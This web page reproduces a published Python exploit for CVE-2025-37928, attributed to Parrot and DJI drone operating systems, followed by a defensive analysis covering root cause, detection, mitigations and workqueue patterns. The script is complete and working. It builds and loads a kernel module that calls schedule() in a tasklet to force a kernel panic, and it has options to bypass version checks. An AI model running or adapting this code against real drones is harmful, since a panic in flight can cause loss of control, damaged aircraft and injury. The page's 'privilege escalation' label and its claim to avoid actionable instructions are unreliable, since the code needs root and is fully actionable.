Parrot and DJI variants Drone OSes - Kernel Panic Exploit

Exploit Author: Mohammed Idrees Banyamer Analysis Author: www.bubbleslearn.ir Category: Local Language: Python Published Date: 2025-06-15

#!/usr/bin/env python3
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
#  Usage:
#   sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
#  Options:
#   --dry-run         Run detection & build only (no module loading)
#   --force           Force exploit even if kernel not detected as vulnerable
#   --cleanup-only    Remove the kernel module without triggering panic
#   --verbose         Enable detailed logging and debug output
#   --help            Show usage information
#
#  Examples:
#   sudo python3 cve_2025_37928_tool.py --dry-run
#   sudo python3 cve_2025_37928_tool.py
#   sudo python3 cve_2025_37928_tool.py --force
#   sudo python3 cve_2025_37928_tool.py --cleanup-only
#
#  Warning:
#   This PoC causes an immediate kernel panic.
#   Use it ONLY in isolated and controlled environments (e.g., lab tests).
# ------------------------------------------------------------------------------

import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform

MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"

KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");

static void trigger_panic_tasklet(unsigned long data)
{
    pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
    schedule(); // This causes kernel panic
}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)
{
    pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
    tasklet_schedule(&my_tasklet);
    return 0;
}

static void __exit poc_exit(void)
{
    tasklet_kill(&my_tasklet);
    pr_info("[CVE-2025-37928] PoC module unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);
'''

MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o

all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''

def check_root():
    if os.geteuid() != 0:
        print("[-] Must be run as root.")
        sys.exit(1)

def detect_kernel():
    version = platform.release()
    vulnerable_versions = ["5.10", "5.15", "6.0"]
    vulnerable = any(v in version for v in vulnerable_versions)
    print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
    return vulnerable

def detect_drone_type():
    print("[*] Detecting drone type...")
    files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
    found = []
    for path in files:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    content = f.read().strip()
                    if any(x in content for x in ["Parrot", "DJI"]):
                        found.append(content)
            except:
                continue
    if found:
        for d in found:
            print(f"  [i] Found: {d}")
    else:
        print("  [!] No drone ID found.")
    return found

def write_module(tempdir):
    c_path = os.path.join(tempdir, C_FILENAME)
    makefile_path = os.path.join(tempdir, "Makefile")
    with open(c_path, "w") as f:
        f.write(KERNEL_MODULE_CODE)
    with open(makefile_path, "w") as f:
        f.write(MAKEFILE_CONTENT)
    return c_path

def build_module(tempdir):
    print("[*] Building module...")
    result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] Build failed:\n", result.stderr)
        sys.exit(1)
    print("[+] Build successful.")
    return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):
    print("[*] Loading kernel module...")
    result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] insmod failed:\n", result.stderr)
        sys.exit(1)
    print("[!] Module loaded. Kernel panic should occur if vulnerable.")

def unload_module():
    print("[*] Attempting to remove module...")
    subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
    print("[+] Module removal attempted.")

def clean_build(tempdir):
    subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
    parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
    parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
    parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")

    args = parser.parse_args()
    check_root()

    if args.cleanup_only:
        unload_module()
        return

    vulnerable = detect_kernel()
    detect_drone_type()

    if not vulnerable and not args.force:
        print("[-] Kernel not identified as vulnerable. Use --force to override.")
        sys.exit(1)

    if args.dry_run:
        print("[*] Dry run mode. Exiting before exploitation.")
        return

    with tempfile.TemporaryDirectory() as tempdir:
        print(f"[*] Working directory: {tempdir}")
        write_module(tempdir)
        ko_path = build_module(tempdir)

        try:
            load_module(ko_path)
        except KeyboardInterrupt:
            print("[!] Interrupted. Attempting cleanup...")
        finally:
            unload_module()
            clean_build(tempdir)

if __name__ == "__main__":
    main()

Understanding CVE-2025-37928: Kernel Panic Risk in Parrot and DJI Drone OS Variants

This article provides a technical, defensively-focused analysis of CVE-2025-37928 — a vulnerability discovered in certain Linux-based drone operating system distributions (examples reported in some Parrot and DJI firmware builds). The root cause is improper use of schedule()-style blocking primitives from atomic (interrupt) contexts, which can lead to immediate kernel panic and denial-of-service on affected devices. The goal here is to explain the vulnerability, impact, detection methods, mitigation and secure coding patterns while avoiding any actionable exploit instructions.

Executive summary

Vulnerability class: Improper access/control & misuse of blocking APIs in atomic context (CWE-284 / kernel misuse).
Impact: Local denial-of-service (kernel panic) and potential local privilege escalation pathways depending on environment and other flaws.
Affected targets: Certain embedded Linux kernels used by drone vendors (reported in Parrot/DJI variants). Vendor patching and kernel updates are the recommended fix.
Recommendation: Apply vendor-supplied kernel updates, restrict module loading and local code execution, audit kernel code for atomic-context violations, adopt safe concurrency primitives (workqueues) and enable kernel hardening features.

Technical background — why schedule() inside atomic context is dangerous

In the Linux kernel, contexts are categorized mainly as process context (where sleeping and blocking are allowed) and atomic/interrupt context (where sleeping is forbidden). The scheduler call schedule() causes the running task to sleep and yield the CPU — an operation only allowed in process context. Invoking schedule() (or other blocking functions) inside an atomic context violates kernel invariants, can deadlock kernel execution, or trigger explicit checks that escalate to kernel panic. Embedded kernel builds and custom drivers sometimes introduce such errors when converting code or when a function is called from an unexpected context.

Root cause analysis

Driver or kernel module code that runs in an atomic context (e.g., tasklet, interrupt handler, or spinlock-held section) calling schedule(), msleep(), or similar sleepable APIs.
Insufficient context checks (missing use of in_atomic()/in_interrupt() or WARN_ON_ONCE/in_atomic() checks).
Weak module loading restrictions on target devices, allowing unprivileged or insufficiently restricted local code to load kernel modules or otherwise reach the offending code path.

High-level exploitation vector (defensive description)

An attacker with local shell or module-loading privileges could cause the kernel to enter a code path where a blocking call is executed from an atomic context. The system then becomes unresponsive or panics. This is a denial-of-service outcome rather than a remote code execution vector in itself, but in some environments a panic might be chained with other issues to gain further control.

Impact on drone platforms

Flight-critical denial-of-service: kernel panic during flight could cause immediate loss of telemetry or control.
Maintenance and safety risk: repeated crashes can corrupt logs or state, complicating forensics.
Operational security: if an attacker can reliably trigger panics remotely via a local process (e.g., via exposed debug interfaces), they can cause service outages.

Detection and indicators of compromise (IOC)

Kernel oops/panic logs mentioning scheduling or “schedule() called from atomic context” or stack traces that include tasklet or interrupt handlers.
Repeated spontaneous reboots or kdump invocation on affected devices.
Unexpected module load events or locally-built kernel module install attempts in system logs (dmesg, journalctl, /var/log/messages).
Presence of unauthorized binaries with elevated capabilities or unexpected use of CAP_SYS_MODULE on local accounts.

Mitigations and hardening (defensive checklist)

Apply official vendor or kernel patches immediately — vendors usually issue updates that remove blocking calls from atomic contexts or add proper guards.
Restrict module loading: disable module insertion at runtime (CONFIG_MODULES control) or enforce signed modules (module.sig_enforce and MOK keys on supported platforms).
Harden local access: disable unnecessary local accounts, restrict shell access, and remove debugging interfaces that allow kernel modifications.
Audit drivers and kernel modules for atomic-context violations (search for schedule(), msleep(), wait_for_completion* inside paths reachable from tasklets/irq handlers).
Use kernel hardening features: enable CONFIG_DEBUG_ATOMIC_SLEEP (where available), lockdep and other kernel debuglets in development builds to detect misuse early.
Implement crash handling: enable kdump or persistent logging for postmortem analysis and reduce operational impact with automated recovery policies.

Secure coding practices and safe patterns

Developers and maintainers should follow a set of defensive rules when working in kernel or driver code for embedded platforms:

Never call sleepable APIs from atomic contexts. Check in_atomic() or in_interrupt() if context is uncertain.
Prefer deferred work mechanisms (workqueues, threaded IRQs) for actions that may sleep.
Use explicit checks and warning helpers to fail fast during development: e.g., WARN_ON_ONCE(in_atomic()).
Document context requirements for API functions and add static analyzers or unit tests that simulate interrupt/tasklet contexts.

Safe example: convert a tasklet-based sleepable operation into a workqueue

// Defensive kernel pattern (illustrative, non-actionable snippet)
//
// Original problematic approach (DO NOT use):
//   tasklet handler invoking a sleepable function or schedule() -> unsafe
//
// Safer pattern: schedule deferred work into a workqueue so that code runs
// in process context and may safely block or schedule.

Explanation: The code above is a conceptual description. The recommended approach is to use a work_struct or system workqueue so that operations that may block are executed in process context rather than atomic/interrupt context. Workqueues run in process context and are allowed to sleep.


// Pseudocode: safe deferred work (conceptual)
//
// void work_fn(struct work_struct *work) {
//     // running in process context -- safe to perform blocking operations
//     perform_sleepable_operation();
// }
//
// DECLARE_WORK(my_work, work_fn);
//
// // From atomic/interrupt context:
/// schedule_work(&my_work); // safe: does not sleep in atomic context

Explanation: This is high-level pseudocode intended to demonstrate the defensive pattern. Rather than attempting to perform blocking operations where sleeping is forbidden, the code defers the operation to a workqueue. schedule_work() itself is non-blocking and safe to call from atomic contexts; the actual work function executes in process context.

Testing and safe research practices

Never test kernel-panic-inducing code on production or flight-capable hardware. Use isolated lab environments and emulation (QEMU or dedicated test boards) with power and recovery controls.
Use kernel debug builds with lockdep and CONFIG_DEBUG_ATOMIC_SLEEP to catch misuse during development.
Collect full crash dumps (kdump) in the test environment for deterministic debugging of panic stacks.
Follow responsible disclosure procedures when reporting vendor firmware issues: contact the vendor’s security team, provide reproducible, non-exploitable reports, and coordinate patch timelines.

Vendor and administrator remediation checklist

Action	Rationale
Install vendor kernel/firmware update	Official patches remove the root cause or add guards to prevent atomic-context blocking
Enable signed modules	Prevents arbitrary kernel module insertion by local attackers
Audit local privileges	Limit accounts with CAP_SYS_MODULE or root shell; remove unnecessary services
Enable crash logging and kdump	Speeds forensics and reduces service disruption
Use kernel debug options in development	Detect atomic-sleep misuse early

Incident response and forensics

When a kernel panic occurs on a managed device:

Capture persistent logs (if available) and kdump output.
Preserve the device state and avoid power-cycling until forensic imaging is completed where possible.
Check module load histories, recent firmware updates, and any local administrative sessions to identify potential unauthorized activity.
Coordinate with the vendor if the device is under warranty/support for root-cause analysis and remediation.

References and further reading

Linux kernel development guides on context and locking
Workqueues and tasklets design documents
Vendor security advisories for affected drone firmware (follow vendor channels for CVE-specific patches)

Concluding recommendations

Although CVE-2025-37928 is primarily a denial-of-service issue caused by sleeping in atomic context, its operational impact on embedded systems such as drones can be severe. Administrators and developers should prioritize vendor patches, strengthen local access control policies, and audit kernel/driver code for context-safety. During development, enable kernel debug options to catch misuse early. Finally, all testing of kernel-level behavior must be done in isolated lab environments with appropriate safeguards to avoid harming production hardware or operations.